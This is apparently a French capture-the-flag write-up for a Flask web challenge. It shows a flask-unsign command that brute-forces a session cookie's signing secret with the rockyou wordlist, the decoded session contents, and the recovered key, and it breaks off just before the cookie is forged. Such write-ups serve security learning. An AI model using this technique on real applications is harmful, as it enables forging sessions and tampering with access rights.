Je crée un clone de Udemy, tout se passe bien jusqu'à présent, mais je veux m'assurer qu'il est bien sécurisé. Peux-tu m'aider ?
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Ici, il faut repérer le cookie de session. Le serveur nous donne l'indication que c'est du flask dans l'entête de ses réponses, on peut utiliser sur notre cookie pour confirmer cela.
On a un champ can_buy, et comme c'est ce que l'on doit faire vu que l'on peut acheter le flag, il va falloir changer cette valeur. Pour ça il faut forger un nouveau cookie et donc trouver le secret que le serveur utilise.
$ flask-unsign --unsign --wordlist "E:/Downloads/rockyou.txt" --no-literal-eval --cookie ".eJxVjkEKwzAMBL-i6mzyAP-g0EOvpYSgOIpjcGWw7EAI-XsMbSk9LbvMSrvjMEfShRXtc0coTVCrc6yKBh-pwkIrw8gsEJP3PEGqpcP-MF-cc065wVdZKYYJXOaJpQSK2sE9MilDyRuQpyB_zd-jW_JB4OPnGi8N6w06kmGsG9q5HWOD7wVDELQl1xZU5Sz0YrRYWAseJ-wkR1c.ZysU9g.H1uBMSs10UCtgIIxqJiQHNeIv04"
[*] Session decodes to: {'_flashes': [('success', 'You have been logged out.'), ('error', 'Invalid credentials. Please try again.'), ('success', 'Login successful!')], 'can_buy': False, 'logged_in': True, 'username': 'test'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 9216 attempts
b'apocalipsis'
Bingo ! Le serveur utilise apocalipsis pour générer les cookies. On peut donc en forger nous-mêmes :